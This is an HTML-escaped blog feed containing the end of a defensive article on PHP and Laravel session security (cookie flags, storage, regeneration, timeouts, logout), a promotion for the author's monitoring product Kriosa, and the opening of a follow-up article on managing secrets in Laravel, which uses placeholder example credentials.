    &lt;span class="s1"&gt;'lifetime'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="c1"&gt;// Expires when browser closes&lt;/span&gt;
    &lt;span class="s1"&gt;'path'&lt;/span&gt;     &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'domain'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'secure'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="c1"&gt;// HTTPS only&lt;/span&gt;
    &lt;span class="s1"&gt;'httponly'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="c1"&gt;// No JavaScript access&lt;/span&gt;
    &lt;span class="s1"&gt;'samesite'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Lax'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;// CSRF protection&lt;/span&gt;
&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Session Storage Security
&lt;/h2&gt;

&lt;p&gt;By default PHP stores session data in files in &lt;code&gt;/tmp&lt;/code&gt;. On shared hosting other tenants may be able to read your session files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Database storage:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_set_save_handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;DatabaseSessionHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Redis:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;session.save_handler&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;redis&lt;/span&gt;
&lt;span class="py"&gt;session.save_path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"tcp://127.0.0.1:6379"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Database sessions give you the ability to invalidate specific sessions useful when you need to force a logout for a compromised account.&lt;/p&gt;

&lt;h2&gt;
  
  
  Laravel Session Configuration
&lt;/h2&gt;

&lt;p&gt;Laravel abstracts PHP sessions behind its own session system. Configuration lives in &lt;code&gt;config/session.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The critical production settings:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// config/session.php&lt;/span&gt;

&lt;span class="c1"&gt;// Encrypt session data at rest&lt;/span&gt;
&lt;span class="s1"&gt;'encrypt'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

&lt;span class="c1"&gt;// HTTPS only session cookie&lt;/span&gt;
&lt;span class="s1"&gt;'secure'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SESSION_SECURE_COOKIE'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;

&lt;span class="c1"&gt;// Prevent JavaScript from reading the cookie&lt;/span&gt;
&lt;span class="s1"&gt;'http_only'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

&lt;span class="c1"&gt;// CSRF protection&lt;/span&gt;
&lt;span class="s1"&gt;'same_site'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'lax'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

&lt;span class="c1"&gt;// Session lifetime in minutes&lt;/span&gt;
&lt;span class="s1"&gt;'lifetime'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SESSION_LIFETIME'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;

&lt;span class="c1"&gt;// Session storage driver&lt;/span&gt;
&lt;span class="s1"&gt;'driver'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SESSION_DRIVER'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'redis'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;'encrypt' =&amp;gt; true&lt;/code&gt; encrypts all session data using your &lt;code&gt;APP_KEY&lt;/code&gt;. Even if an attacker gains access to your session storage they cannot read the contents without the encryption key.&lt;/p&gt;

&lt;p&gt;Never use the &lt;code&gt;file&lt;/code&gt; driver in production on shared hosting. Use &lt;code&gt;database&lt;/code&gt; or &lt;code&gt;redis&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Regeneration in Laravel
&lt;/h2&gt;

&lt;p&gt;Laravel automatically regenerates the session ID on login when you use &lt;code&gt;Auth::attempt()&lt;/code&gt; or &lt;code&gt;Auth::login()&lt;/code&gt;. This is built into the framework.&lt;/p&gt;

&lt;p&gt;If you build custom authentication or manually change privileges regenerate explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Regenerate session ID — keep existing data&lt;/span&gt;
&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;regenerate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Regenerate and invalidate the old session completely&lt;/span&gt;
&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;invalidate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;regenerateToken&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;regenerateToken()&lt;/code&gt; regenerates the CSRF token stored in the session. Call this alongside session regeneration after login CSRF token fixation mirrors session fixation and should be addressed at the same time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Absolute Session Timeout
&lt;/h2&gt;

&lt;p&gt;Idle timeout alone is not enough. A user who stays active can maintain a session indefinitely. Absolute timeout forces re-authentication after a fixed period regardless of activity:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'login_time'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nv"&gt;$absoluteTimeout&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 8 hours&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'login_time'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$absoluteTimeout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;session_destroy&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: /login?reason=timeout'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In Laravel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// config/session.php&lt;/span&gt;
&lt;span class="s1"&gt;'lifetime'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;480&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// 8 hours in minutes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For applications handling sensitive data consider shorter absolute timeouts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Secure Logout
&lt;/h2&gt;

&lt;p&gt;Always completely destroy the session on logout not just unset session variables:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Wrong — session ID still valid&lt;/span&gt;
&lt;span class="k"&gt;unset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="c1"&gt;// Correct&lt;/span&gt;
&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$_SESSION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ini_get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'session.use_cookies'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;session_get_cookie_params&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nb"&gt;setcookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nb"&gt;session_name&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;42000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;$params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'path'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'domain'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'secure'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'httponly'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nb"&gt;session_destroy&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In Laravel the correct logout sequence is three steps:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Auth&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;logout&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;invalidate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;regenerateToken&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each step matters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Auth::logout()&lt;/code&gt; clears authentication state and removes the user from the session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session()-&amp;gt;invalidate()&lt;/code&gt; destroys the session and generates a new session ID&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session()-&amp;gt;regenerateToken()&lt;/code&gt; regenerates the CSRF token&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Missing any of these leaves the old session potentially exploitable.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Session Security Checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;For plain PHP:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;session.use_only_cookies = 1&lt;/code&gt; — never accept session IDs in URLs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session.use_strict_mode = 1&lt;/code&gt; — reject unrecognized session IDs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session.cookie_httponly = 1&lt;/code&gt; — prevent JavaScript from reading cookies&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session.cookie_secure = 1&lt;/code&gt; — HTTPS only&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session.cookie_samesite = Lax&lt;/code&gt; — CSRF protection&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;session_regenerate_id(true)&lt;/code&gt; after every successful login&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;session_regenerate_id(true)&lt;/code&gt; after every privilege change&lt;/li&gt;
&lt;li&gt;Destroy the session completely on logout not just unset variables&lt;/li&gt;
&lt;li&gt;Use database or Redis session storage in production&lt;/li&gt;
&lt;li&gt;Implement absolute session timeout for sensitive applications&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For Laravel:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;'secure' =&amp;gt; true&lt;/code&gt; in &lt;code&gt;config/session.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;'http_only' =&amp;gt; true&lt;/code&gt; in &lt;code&gt;config/session.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;'encrypt' =&amp;gt; true&lt;/code&gt; in &lt;code&gt;config/session.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;'same_site' =&amp;gt; 'lax'&lt;/code&gt; in &lt;code&gt;config/session.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;database&lt;/code&gt; or &lt;code&gt;redis&lt;/code&gt; session driver in production&lt;/li&gt;
&lt;li&gt;Call all three logout methods on every logout&lt;/li&gt;
&lt;li&gt;Never build custom authentication that skips session regeneration after login&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Kriosa in Production Real Applications, Real Protection
&lt;/h2&gt;

&lt;p&gt;The principles in this article are not hypothetical. Two production PHP applications are already running with Kriosa in front of them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://prooflify.freedev.app" rel="noopener noreferrer"&gt;Prooflify&lt;/a&gt;&lt;/strong&gt; — a design-proofing platform with client review workflows. Designers share work with clients, clients leave feedback, and the platform manages approval states. Every client session is a trust boundary  the wrong session in the wrong hands could expose a client's unreleased creative work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://bellefull.kesug.com" rel="noopener noreferrer"&gt;belle full&lt;/a&gt;&lt;/strong&gt; — a production PHP application for bakers, secured with Kriosa from day one. It handles customer orders, client data, and business operations for a real business where a session breach means a real person's data and livelihood are at risk.&lt;/p&gt;

&lt;p&gt;Both applications have Kriosa monitoring every incoming request before it reaches the application layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Kriosa Fits
&lt;/h2&gt;

&lt;p&gt;Configure your sessions correctly first. Then put Kriosa in front of your application to detect suspicious requests and behavior that your application code alone cannot see.&lt;/p&gt;

&lt;p&gt;Session attacks leave behavioral traces before they succeed requests containing session IDs in URL parameters on applications that should only use cookies, authenticated sessions appearing from unexpected locations, rapid requests cycling through session ID values that may indicate probing activity.&lt;/p&gt;

&lt;p&gt;These are behavioral signals a security monitoring layer can detect and surface before a breach occurs.&lt;/p&gt;

&lt;p&gt;Kriosa sits in front of your application and gives you visibility into suspicious requests before they reach your code with the XAI dashboard explaining exactly what was detected and why it was flagged.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a href="//kriosa.com/?utm_source=medium&amp;amp;utm_medium=article&amp;amp;utm_campaign=session_security_php"&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
Install it: &lt;code&gt;composer require kriosa-ai/kriosa-php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Series So Far
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/what-your-php-logs-actually-look-like-during-an-sql-injection-attack-571aa807f5fe" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-b1cad85c17ff" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-352101b9243a" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-7a618ef40e39" rel="noopener noreferrer"&gt;Article 6&lt;/a&gt;: How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/file-upload-security-in-php-and-laravel-the-file-that-isnt-what-it-claims-to-be-768c920b26ac" rel="noopener noreferrer"&gt;Article 7&lt;/a&gt;: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/path-traversal-in-php-how-escapes-your-application-d401be98239e" rel="noopener noreferrer"&gt;Article 8&lt;/a&gt;: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/command-injection-in-php-when-exec-becomes-an-attack-surface-eac7736b7637" rel="noopener noreferrer"&gt;Article 9&lt;/a&gt;: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/broken-access-control-in-laravel-why-being-logged-in-isnt-enough-300308cc3559" rel="noopener noreferrer"&gt;Article 10&lt;/a&gt;: Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/secrets-in-laravel-why-env-is-only-the-beginning-b122df2e322e" rel="noopener noreferrer"&gt;Article 11&lt;/a&gt;: Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;Article 12: This article — session security in PHP and what most developers get wrong&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>php</category>
      <category>laravel</category>
      <category>security</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Secrets in Laravel — Why `.env` Is Only the Beginning</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 07 Aug 2026 13:15:01 +0000</pubDate>
      <link>https://dev.to/kriosa/secrets-in-laravel-why-env-is-only-the-beginning-322m</link>
      <guid>https://dev.to/kriosa/secrets-in-laravel-why-env-is-only-the-beginning-322m</guid>
      <description>&lt;p&gt;Originally published on Medium&lt;br&gt;
Most developers think adding &lt;code&gt;.env&lt;/code&gt; to &lt;code&gt;.gitignore&lt;/code&gt; solves secret management. It doesn't.&lt;/p&gt;

&lt;p&gt;This is the eleventh article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security — the file that isn't what it claims to be&lt;/li&gt;
&lt;li&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Secrets are different from every other topic in this series. SQL injection, XSS, path traversal  those are vulnerabilities in your code. Secret leakage is a vulnerability in your process. It happens not because you wrote something wrong but because you stored, logged, or committed something in the wrong place.&lt;/p&gt;

&lt;p&gt;And unlike a code vulnerability that can be patched  an exposed secret that has been harvested by an automated scanner cannot be un-exposed. The only fix is rotation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Secrets Actually Are&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not all configuration is equal. There is a meaningful difference between configuration and secrets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configuration&lt;/strong&gt; controls how your application behaves:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;APP_NAME&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;MyApp&lt;/span&gt;
&lt;span class="py"&gt;APP_URL&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;https://myapp.com&lt;/span&gt;
&lt;span class="py"&gt;MAIL_MAILER&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;smtp&lt;/span&gt;
&lt;span class="py"&gt;DB_HOST&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;localhost&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Secrets&lt;/strong&gt; grant access to systems, services, or data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;supersecretpassword&lt;/span&gt;
&lt;span class="py"&gt;STRIPE_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;sk_live_abc123&lt;/span&gt;
&lt;span class="py"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;wJalrXUtnFEMI&lt;/span&gt;
&lt;span class="py"&gt;MAIL_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;mypassword&lt;/span&gt;
&lt;span class="py"&gt;APP_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;base64:abc123...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



